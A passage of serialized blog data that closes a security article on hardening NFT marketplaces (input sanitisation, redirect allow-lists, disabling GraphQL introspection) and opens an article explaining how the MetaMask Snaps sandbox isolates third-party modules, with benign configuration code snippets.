9,"value":1193},{"type":23,"tag":75,"props":46214,"children":46215},{"style":110},[46216],{"type":29,"value":46217}," nftCollectionName",{"type":23,"tag":75,"props":46219,"children":46220},{"style":94},[46221],{"type":29,"value":245},{"type":23,"tag":32,"props":46223,"children":46224},{},[46225],{"type":29,"value":46226},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":64,"props":46228,"children":46230},{"className":42559,"code":46229,"language":42561,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[46231],{"type":23,"tag":71,"props":46232,"children":46233},{"__ignoreMap":7},[46234],{"type":23,"tag":75,"props":46235,"children":46236},{"class":77,"line":78},[46237,46242,46247,46251,46256,46260,46265,46269,46274],{"type":23,"tag":75,"props":46238,"children":46239},{"style":82},[46240],{"type":29,"value":46241},"var",{"type":23,"tag":75,"props":46243,"children":46244},{"style":110},[46245],{"type":29,"value":46246}," sanitizedInput",{"type":23,"tag":75,"props":46248,"children":46249},{"style":209},[46250],{"type":29,"value":1193},{"type":23,"tag":75,"props":46252,"children":46253},{"style":110},[46254],{"type":29,"value":46255}," DOMPurify",{"type":23,"tag":75,"props":46257,"children":46258},{"style":94},[46259],{"type":29,"value":557},{"type":23,"tag":75,"props":46261,"children":46262},{"style":88},[46263],{"type":29,"value":46264},"sanitize",{"type":23,"tag":75,"props":46266,"children":46267},{"style":94},[46268],{"type":29,"value":643},{"type":23,"tag":75,"props":46270,"children":46271},{"style":110},[46272],{"type":29,"value":46273},"userInput",{"type":23,"tag":75,"props":46275,"children":46276},{"style":94},[46277],{"type":29,"value":15099},{"type":23,"tag":32,"props":46279,"children":46280},{},[46281,46283,46290],{"type":29,"value":46282},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":940,"props":46284,"children":46287},{"href":46285,"rel":46286},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[944],[46288],{"type":29,"value":46289},"Content-Security-Policy",{"type":29,"value":46291}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":32,"props":46293,"children":46294},{},[46295],{"type":29,"value":46296},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":32,"props":46298,"children":46299},{},[46300,46302,46309],{"type":29,"value":46301},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":940,"props":46303,"children":46306},{"href":46304,"rel":46305},"https://www.techtarget.com/whatis/definition/whitelist",[944],[46307],{"type":29,"value":46308},"allow-list",{"type":29,"value":46310}," :",{"type":23,"tag":64,"props":46312,"children":46314},{"className":42559,"code":46313,"language":42561,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[46315],{"type":23,"tag":71,"props":46316,"children":46317},{"__ignoreMap":7},[46318,46347,46389,46419],{"type":23,"tag":75,"props":46319,"children":46320},{"class":77,"line":78},[46321,46325,46330,46334,46338,46343],{"type":23,"tag":75,"props":46322,"children":46323},{"style":82},[46324],{"type":29,"value":2869},{"type":23,"tag":75,"props":46326,"children":46327},{"style":110},[46328],{"type":29,"value":46329}," allowDomains",{"type":23,"tag":75,"props":46331,"children":46332},{"style":209},[46333],{"type":29,"value":1193},{"type":23,"tag":75,"props":46335,"children":46336},{"style":94},[46337],{"type":29,"value":34247},{"type":23,"tag":75,"props":46339,"children":46340},{"style":1266},[46341],{"type":29,"value":46342},"'https://allowed-domain'",{"type":23,"tag":75,"props":46344,"children":46345},{"style":94},[46346],{"type":29,"value":42769},{"type":23,"tag":75,"props":46348,"children":46349},{"class":77,"line":100},[46350,46354,46358,46362,46367,46371,46376,46380,46384],{"type":23,"tag":75,"props":46351,"children":46352},{"style":175},[46353],{"type":29,"value":26807},{"type":23,"tag":75,"props":46355,"children":46356},{"style":94},[46357],{"type":29,"value":183},{"type":23,"tag":75,"props":46359,"children":46360},{"style":209},[46361],{"type":29,"value":13434},{"type":23,"tag":75,"props":46363,"children":46364},{"style":110},[46365],{"type":29,"value":46366},"allowDomains",{"type":23,"tag":75,"props":46368,"children":46369},{"style":94},[46370],{"type":29,"value":557},{"type":23,"tag":75,"props":46372,"children":46373},{"style":88},[46374],{"type":29,"value":46375},"includes",{"type":23,"tag":75,"props":46377,"children":46378},{"style":94},[46379],{"type":29,"value":643},{"type":23,"tag":75,"props":46381,"children":46382},{"style":110},[46383],{"type":29,"value":43911},{"type":23,"tag":75,"props":46385,"children":46386},{"style":94},[46387],{"type":29,"value":46388},")) {\n",{"type":23,"tag":75,"props":46390,"children":46391},{"class":77,"line":121},[46392,46397,46401,46406,46410,46415],{"type":23,"tag":75,"props":46393,"children":46394},{"style":175},[46395],{"type":29,"value":46396},"  throw",{"type":23,"tag":75,"props":46398,"children":46399},{"style":82},[46400],{"type":29,"value":43128},{"type":23,"tag":75,"props":46402,"children":46403},{"style":88},[46404],{"type":29,"value":46405}," ApolloError",{"type":23,"tag":75,"props":46407,"children":46408},{"style":94},[46409],{"type":29,"value":643},{"type":23,"tag":75,"props":46411,"children":46412},{"style":1266},[46413],{"type":29,"value":46414},"'invalid domain'",{"type":23,"tag":75,"props":46416,"children":46417},{"style":94},[46418],{"type":29,"value":15099},{"type":23,"tag":75,"props":46420,"children":46421},{"class":77,"line":138},[46422],{"type":23,"tag":75,"props":46423,"children":46424},{"style":94},[46425],{"type":29,"value":369},{"type":23,"tag":32,"props":46427,"children":46428},{},[46429,46431,46438,46440,46447],{"type":29,"value":46430},"As ",{"type":23,"tag":940,"props":46432,"children":46435},{"href":46433,"rel":46434},"https://graphql.org/",[944],[46436],{"type":29,"value":46437},"GraphQl",{"type":29,"value":46439}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":940,"props":46441,"children":46444},{"href":46442,"rel":46443},"https://graphql.org/learn/introspection/",[944],[46445],{"type":29,"value":46446},"introspection",{"type":29,"value":46448}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":64,"props":46450,"children":46452},{"className":42559,"code":46451,"language":42561,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[46453],{"type":23,"tag":71,"props":46454,"children":46455},{"__ignoreMap":7},[46456,46485,46497,46509,46525],{"type":23,"tag":75,"props":46457,"children":46458},{"class":77,"line":78},[46459,46463,46468,46472,46476,46481],{"type":23,"tag":75,"props":46460,"children":46461},{"style":82},[46462],{"type":29,"value":2869},{"type":23,"tag":75,"props":46464,"children":46465},{"style":110},[46466],{"type":29,"value":46467}," server",{"type":23,"tag":75,"props":46469,"children":46470},{"style":209},[46471],{"type":29,"value":1193},{"type":23,"tag":75,"props":46473,"children":46474},{"style":82},[46475],{"type":29,"value":43128},{"type":23,"tag":75,"props":46477,"children":46478},{"style":88},[46479],{"type":29,"value":46480}," ApolloServer",{"type":23,"tag":75,"props":46482,"children":46483},{"style":94},[46484],{"type":29,"value":26371},{"type":23,"tag":75,"props":46486,"children":46487},{"class":77,"line":100},[46488,46493],{"type":23,"tag":75,"props":46489,"children":46490},{"style":110},[46491],{"type":29,"value":46492},"  typeDefs",{"type":23,"tag":75,"props":46494,"children":46495},{"style":94},[46496],{"type":29,"value":118},{"type":23,"tag":75,"props":46498,"children":46499},{"class":77,"line":121},[46500,46505],{"type":23,"tag":75,"props":46501,"children":46502},{"style":110},[46503],{"type":29,"value":46504},"  resolvers",{"type":23,"tag":75,"props":46506,"children":46507},{"style":94},[46508],{"type":29,"value":118},{"type":23,"tag":75,"props":46510,"children":46511},{"class":77,"line":138},[46512,46517,46521],{"type":23,"tag":75,"props":46513,"children":46514},{"style":110},[46515],{"type":29,"value":46516},"  introspection:",{"type":23,"tag":75,"props":46518,"children":46519},{"style":82},[46520],{"type":29,"value":20313},{"type":23,"tag":75,"props":46522,"children":46523},{"style":94},[46524],{"type":29,"value":118},{"type":23,"tag":75,"props":46526,"children":46527},{"class":77,"line":161},[46528],{"type":23,"tag":75,"props":46529,"children":46530},{"style":94},[46531],{"type":29,"value":46532},"});\n",{"type":23,"tag":32,"props":46534,"children":46535},{},[46536,46538,46545,46547,46554],{"type":29,"value":46537},"Similarly, when ",{"type":23,"tag":940,"props":46539,"children":46542},{"href":46540,"rel":46541},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[944],[46543],{"type":29,"value":46544},"batching",{"type":29,"value":46546}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":940,"props":46548,"children":46551},{"href":46549,"rel":46550},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[944],[46552],{"type":29,"value":46553},"denial-of-service",{"type":29,"value":46555}," (DoS) attacks.",{"type":23,"tag":32,"props":46557,"children":46558},{},[46559],{"type":29,"value":46560},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":32,"props":46562,"children":46563},{},[46564],{"type":29,"value":46565},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":46567,"props":46568,"children":46569},"h1",{"id":14115},[46570],{"type":29,"value":14118},{"type":23,"tag":32,"props":46572,"children":46573},{},[46574],{"type":29,"value":46575},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":32,"props":46577,"children":46578},{},[46579],{"type":29,"value":46580},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":24,"props":46582,"children":46584},{"id":46583},"disclaimer",[46585],{"type":29,"value":46586},"Disclaimer",{"type":23,"tag":32,"props":46588,"children":46589},{},[46590],{"type":29,"value":46591},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":14130,"props":46593,"children":46594},{},[46595],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":46597},[46598,46601,46607,46611,46612],{"id":26,"depth":100,"text":30,"children":46599},[46600],{"id":14212,"depth":121,"text":14215},{"id":42403,"depth":100,"text":42433,"children":46602},[46603,46604,46605,46606],{"id":42452,"depth":121,"text":42455},{"id":42517,"depth":121,"text":42520},{"id":45345,"depth":121,"text":45348},{"id":45635,"depth":121,"text":45638},{"id":45980,"depth":100,"text":45983,"children":46608},[46609,46610],{"id":46002,"depth":121,"text":46005},{"id":46052,"depth":121,"text":46055},{"id":46136,"depth":100,"text":46142},{"id":46583,"depth":100,"text":46586},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":46617,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46618,"description":46619,"author":46620,"image":46621,"date":46623,"isFeatured":15,"onBlogPage":15,"body":46624,"_type":14157,"_id":51634,"_source":14159,"_file":51635,"_stem":51636,"_extension":14162},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[42397,42396],{"src":46622,"height":24866,"width":14},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":46625,"toc":51615},[46626,46630,46635,46640,46645,46651,46656,46662,46675,46680,46685,46692,46724,46730,46735,46753,46760,46766,46780,46786,46806,47069,47097,47103,47122,47506,47525,47538,47856,47877,48148,48153,48159,48164,48177,48182,48195,48454,48498,48511,48517,48531,48537,48543,48556,48592,48598,48618,48729,48756,48762,48780,48793,48799,48804,48822,48933,48938,48959,48972,48989,49089,49115,49132,49254,49280,49292,49297,49303,49309,49314,49337,49342,49347,49353,49359,49386,49789,49816,49843,49849,49880,50189,50208,50213,50238,50251,50257,50284,50577,50613,50631,50636,50671,50676,50680,50685,50692,50697,50724,51501,51521,51527,51548,51597,51601,51606,51611],{"type":23,"tag":24,"props":46627,"children":46628},{"id":30179},[46629],{"type":29,"value":30182},{"type":23,"tag":32,"props":46631,"children":46632},{},[46633],{"type":29,"value":46634},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":32,"props":46636,"children":46637},{},[46638],{"type":29,"value":46639},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":32,"props":46641,"children":46642},{},[46643],{"type":29,"value":46644},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":24,"props":46646,"children":46648},{"id":46647},"sandbox-security",[46649],{"type":29,"value":46650},"Sandbox Security",{"type":23,"tag":32,"props":46652,"children":46653},{},[46654],{"type":29,"value":46655},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":923,"props":46657,"children":46659},{"id":46658},"permission-based-security",[46660],{"type":29,"value":46661},"Permission-based security",{"type":23,"tag":32,"props":46663,"children":46664},{},[46665,46667,46673],{"type":29,"value":46666},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":71,"props":46668,"children":46670},{"className":46669},[],[46671],{"type":29,"value":46672},"snap.manifest.json",{"type":29,"value":46674}," file and can be critical to security.",{"type":23,"tag":32,"props":46676,"children":46677},{},[46678],{"type":29,"value":46679},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":32,"props":46681,"children":46682},{},[46683],{"type":29,"value":46684},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":32,"props":46686,"children":46687},{},[46688],{"type":23,"tag":15189,"props":46689,"children":46691},{"alt":7,"src":46690},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":27910,"props":46693,"children":46694},{},[46695,46713],{"type":23,"tag":2801,"props":46696,"children":46697},{},[46698,46704,46705,46711],{"type":23,"tag":71,"props":46699,"children":46701},{"className":46700},[],[46702],{"type":29,"value":46703},"snap_getBip44Entropy",{"type":29,"value":2721},{"type":23,"tag":71,"props":46706,"children":46708},{"className":46707},[],[46709],{"type":29,"value":46710},"snap_getBip32Entropy",{"type":29,"value":46712}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":2801,"props":46714,"children":46715},{},[46716,46722],{"type":23,"tag":71,"props":46717,"children":46719},{"className":46718},[],[46720],{"type":29,"value":46721},"endowment:transaction-insight",{"type":29,"value":46723}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":923,"props":46725,"children":46727},{"id":46726},"snap-execution-environment",[46728],{"type":29,"value":46729},"Snap execution environment",{"type":23,"tag":32,"props":46731,"children":46732},{},[46733],{"type":29,"value":46734},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":2797,"props":46736,"children":46737},{},[46738,46743,46748],{"type":23,"tag":2801,"props":46739,"children":46740},{},[46741],{"type":29,"value":46742},"An isolated iframe",{"type":23,"tag":2801,"props":46744,"children":46745},{},[46746],{"type":29,"value":46747},"LavaMoat",{"type":23,"tag":2801,"props":46749,"children":46750},{},[46751],{"type":29,"value":46752},"SES (Secure EcmaScript)",{"type":23,"tag":32,"props":46754,"children":46755},{},[46756],{"type":23,"tag":15189,"props":46757,"children":46759},{"alt":7,"src":46758},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":923,"props":46761,"children":46763},{"id":46762},"isolated-iframe-layer-1",[46764],{"type":29,"value":46765},"Isolated Iframe - Layer 1",{"type":23,"tag":32,"props":46767,"children":46768},{},[46769,46771,46778],{"type":29,"value":46770},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":940,"props":46772,"children":46775},{"href":46773,"rel":46774},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[944],[46776],{"type":29,"value":46777},"Iframe",{"type":29,"value":46779}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":30116,"props":46781,"children":46783},{"id":46782},"the-framework-metamask-extension-repo",[46784],{"type":29,"value":46785},"The Framework: Metamask-Extension Repo",{"type":23,"tag":32,"props":46787,"children":46788},{},[46789,46791,46797,46799,46805],{"type":29,"value":46790},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":71,"props":46792,"children":46794},{"className":46793},[],[46795],{"type":29,"value":46796},"metamask-controller.js",{"type":29,"value":46798}," file. Here's a glimpse of the relevant ",{"type":23,"tag":940,"props":46800,"children":46803},{"href":46801,"rel":46802},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[944],[46804],{"type":29,"value":71},{"type":29,"value":1018},{"type":23,"tag":64,"props":46807,"children":46811},{"className":46808,"code":46809,"language":46810,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[46812],{"type":23,"tag":71,"props":46813,"children":46814},{"__ignoreMap":7},[46815,46823,46831,46851,46898,46933,46950,46958,47000,47007,47014,47022,47050,47062],{"type":23,"tag":75,"props":46816,"children":46817},{"class":77,"line":78},[46818],{"type":23,"tag":75,"props":46819,"children":46820},{"style":3621},[46821],{"type":29,"value":46822},"// Import snaps-controllers\n",{"type":23,"tag":75,"props":46824,"children":46825},{"class":77,"line":100},[46826],{"type":23,"tag":75,"props":46827,"children":46828},{"style":3621},[46829],{"type":29,"value":46830},"// ...\n",{"type":23,"tag":75,"props":46832,"children":46833},{"class":77,"line":121},[46834,46838,46843,46847],{"type":23,"tag":75,"props":46835,"children":46836},{"style":82},[46837],{"type":29,"value":2869},{"type":23,"tag":75,"props":46839,"children":46840},{"style":110},[46841],{"type":29,"value":46842}," snapExecutionServiceArgs",{"type":23,"tag":75,"props":46844,"children":46845},{"style":209},[46846],{"type":29,"value":1193},{"type":23,"tag":75,"props":46848,"children":46849},{"style":94},[46850],{"type":29,"value":401},{"type":23,"tag":75,"props":46852,"children":46853},{"class":77,"line":138},[46854,46859,46863,46868,46872,46877,46881,46885,46889,46894],{"type":23,"tag":75,"props":46855,"children":46856},{"style":110},[46857],{"type":29,"value":46858},"  iframeUrl:",{"type":23,"tag":75,"props":46860,"children":46861},{"style":82},[46862],{"type":29,"value":43128},{"type":23,"tag":75,"props":46864,"children":46865},{"style":88},[46866],{"type":29,"value":46867}," URL",{"type":23,"tag":75,"props":46869,"children":46870},{"style":94},[46871],{"type":29,"value":643},{"type":23,"tag":75,"props":46873,"children":46874},{"style":110},[46875],{"type":29,"value":46876},"process",{"type":23,"tag":75,"props":46878,"children":46879},{"style":94},[46880],{"type":29,"value":557},{"type":23,"tag":75,"props":46882,"children":46883},{"style":110},[46884],{"type":29,"value":1458},{"type":23,"tag":75,"props":46886,"children":46887},{"style":94},[46888],{"type":29,"value":557},{"type":23,"tag":75,"props":46890,"children":46891},{"style":110},[46892],{"type":29,"value":46893},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":75,"props":46895,"children":46896},{"style":94},[46897],{"type":29,"value":1792},{"type":23,"tag":75,"props":46899,"children":46900},{"class":77,"line":161},[46901,46906,46911,46915,46920,46924,46929],{"type":23,"tag":75,"props":46902,"children":46903},{"style":110},[46904],{"type":29,"value":46905},"  messenger:",{"type":23,"tag":75,"props":46907,"children":46908},{"style":82},[46909],{"type":29,"value":46910}," this",{"type":23,"tag":75,"props":46912,"children":46913},{"style":94},[46914],{"type":29,"value":557},{"type":23,"tag":75,"props":46916,"children":46917},{"style":110},[46918],{"type":29,"value":46919},"controllerMessenger",{"type":23,"tag":75,"props":46921,"children":46922},{"style":94},[46923],{"type":29,"value":557},{"type":23,"tag":75,"props":46925,"children":46926},{"style":88},[46927],{"type":29,"value":46928},"getRestricted",{"type":23,"tag":75,"props":46930,"children":46931},{"style":94},[46932],{"type":29,"value":26371},{"type":23,"tag":75,"props":46934,"children":46935},{"class":77,"line":196},[46936,46941,46946],{"type":23,"tag":75,"props":46937,"children":46938},{"style":110},[46939],{"type":29,"value":46940},"    name:",{"type":23,"tag":75,"props":46942,"children":46943},{"style":1266},[46944],{"type":29,"value":46945}," 'ExecutionService'",{"type":23,"tag":75,"props":46947,"children":46948},{"style":94},[46949],{"type":29,"value":118},{"type":23,"tag":75,"props":46951,"children":46952},{"class":77,"line":220},[46953],{"type":23,"tag":75,"props":46954,"children":46955},{"style":94},[46956],{"type":29,"value":46957},"  }),\n",{"type":23,"tag":75,"props":46959,"children":46960},{"class":77,"line":248},[46961,46966,46970,46974,46979,46983,46988,46992,46996],{"type":23,"tag":75,"props":46962,"children":46963},{"style":110},[46964],{"type":29,"value":46965},"  setupSnapProvider:",{"type":23,"tag":75,"props":46967,"children":46968},{"style":82},[46969],{"type":29,"value":46910},{"type":23,"tag":75,"props":46971,"children":46972},{"style":94},[46973],{"type":29,"value":557},{"type":23,"tag":75,"props":46975,"children":46976},{"style":110},[46977],{"type":29,"value":46978},"setupSnapProvider",{"type":23,"tag":75,"props":46980,"children":46981},{"style":94},[46982],{"type":29,"value":557},{"type":23,"tag":75,"props":46984,"children":46985},{"style":88},[46986],{"type":29,"value":46987},"bind",{"type":23,"tag":75,"props":46989,"children":46990},{"style":94},[46991],{"type":29,"value":643},{"type":23,"tag":75,"props":46993,"children":46994},{"style":82},[46995],{"type":29,"value":947},{"type":23,"tag":75,"props":46997,"children":46998},{"style":94},[46999],{"type":29,"value":1792},{"type":23,"tag":75,"props":47001,"children":47002},{"class":77,"line":270},[47003],{"type":23,"tag":75,"props":47004,"children":47005},{"style":94},[47006],{"type":29,"value":27801},{"type":23,"tag":75,"props":47008,"children":47009},{"class":77,"line":279},[47010],{"type":23,"tag":75,"props":47011,"children":47012},{"emptyLinePlaceholder":15},[47013],{"type":29,"value":276},{"type":23,"tag":75,"props":47015,"children":47016},{"class":77,"line":303},[47017],{"type":23,"tag":75,"props":47018,"children":47019},{"style":3621},[47020],{"type":29,"value":47021},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":75,"props":47023,"children":47024},{"class":77,"line":322},[47025,47029,47033,47037,47041,47045],{"type":23,"tag":75,"props":47026,"children":47027},{"style":110},[47028],{"type":29,"value":46876},{"type":23,"tag":75,"props":47030,"children":47031},{"style":94},[47032],{"type":29,"value":557},{"type":23,"tag":75,"props":47034,"children":47035},{"style":110},[47036],{"type":29,"value":1458},{"type":23,"tag":75,"props":47038,"children":47039},{"style":94},[47040],{"type":29,"value":557},{"type":23,"tag":75,"props":47042,"children":47043},{"style":110},[47044],{"type":29,"value":46893},{"type":23,"tag":75,"props":47046,"children":47047},{"style":209},[47048],{"type":29,"value":47049}," =\n",{"type":23,"tag":75,"props":47051,"children":47052},{"class":77,"line":340},[47053,47058],{"type":23,"tag":75,"props":47054,"children":47055},{"style":1266},[47056],{"type":29,"value":47057},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":75,"props":47059,"children":47060},{"style":94},[47061],{"type":29,"value":245},{"type":23,"tag":75,"props":47063,"children":47064},{"class":77,"line":349},[47065],{"type":23,"tag":75,"props":47066,"children":47067},{"style":3621},[47068],{"type":29,"value":46830},{"type":23,"tag":32,"props":47070,"children":47071},{},[47072,47074,47080,47082,47088,47090,47095],{"type":29,"value":47073},"This code is defining the ",{"type":23,"tag":71,"props":47075,"children":47077},{"className":47076},[],[47078],{"type":29,"value":47079},"snapExecutionServiceArgs",{"type":29,"value":47081}," object, which contains information required for the ",{"type":23,"tag":71,"props":47083,"children":47085},{"className":47084},[],[47086],{"type":29,"value":47087},"IframeExecutionService",{"type":29,"value":47089}," to execute snaps. The ",{"type":23,"tag":71,"props":47091,"children":47093},{"className":47092},[],[47094],{"type":29,"value":46893},{"type":29,"value":47096}," points to the location where the execution environment resides.",{"type":23,"tag":30116,"props":47098,"children":47100},{"id":47099},"executing-snaps-iframeexecutionservice-in-action",[47101],{"type":29,"value":47102},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":32,"props":47104,"children":47105},{},[47106,47108,47113,47115,47121],{"type":29,"value":47107},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":71,"props":47109,"children":47111},{"className":47110},[],[47112],{"type":29,"value":47087},{"type":29,"value":47114}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":940,"props":47116,"children":47119},{"href":47117,"rel":47118},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[944],[47120],{"type":29,"value":71},{"type":29,"value":1018},{"type":23,"tag":64,"props":47123,"children":47127},{"className":47124,"code":47125,"language":47126,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[47128],{"type":23,"tag":71,"props":47129,"children":47130},{"__ignoreMap":7},[47131,47139,47168,47198,47249,47286,47293,47300,47308,47315,47322,47330,47365,47373,47429,47491,47499],{"type":23,"tag":75,"props":47132,"children":47133},{"class":77,"line":78},[47134],{"type":23,"tag":75,"props":47135,"children":47136},{"style":3621},[47137],{"type":29,"value":47138},"// Register message handlers for snap interactions\n",{"type":23,"tag":75,"props":47140,"children":47141},{"class":77,"line":100},[47142,47146,47150,47155,47159,47164],{"type":23,"tag":75,"props":47143,"children":47144},{"style":82},[47145],{"type":29,"value":947},{"type":23,"tag":75,"props":47147,"children":47148},{"style":94},[47149],{"type":29,"value":557},{"type":23,"tag":75,"props":47151,"children":47152},{"style":110},[47153],{"type":29,"value":47154},"#messenger",{"type":23,"tag":75,"props":47156,"children":47157},{"style":94},[47158],{"type":29,"value":557},{"type":23,"tag":75,"props":47160,"children":47161},{"style":88},[47162],{"type":29,"value":47163},"registerActionHandler",{"type":23,"tag":75,"props":47165,"children":47166},{"style":94},[47167],{"type":29,"value":97},{"type":23,"tag":75,"props":47169,"children":47170},{"class":77,"line":121},[47171,47176,47180,47185,47189,47194],{"type":23,"tag":75,"props":47172,"children":47173},{"style":1266},[47174],{"type":29,"value":47175},"  `",{"type":23,"tag":75,"props":47177,"children":47178},{"style":82},[47179],{"type":29,"value":45302},{"type":23,"tag":75,"props":47181,"children":47182},{"style":110},[47183],{"type":29,"value":47184},"controllerName",{"type":23,"tag":75,"props":47186,"children":47187},{"style":82},[47188],{"type":29,"value":45334},{"type":23,"tag":75,"props":47190,"children":47191},{"style":1266},[47192],{"type":29,"value":47193},":handleRpcRequest`",{"type":23,"tag":75,"props":47195,"children":47196},{"style":94},[47197],{"type":29,"value":118},{"type":23,"tag":75,"props":47199,"children":47200},{"class":77,"line":138},[47201,47206,47210,47215,47219,47223,47227,47231,47235,47240,47244],{"type":23,"tag":75,"props":47202,"children":47203},{"style":82},[47204],{"type":29,"value":47205},"  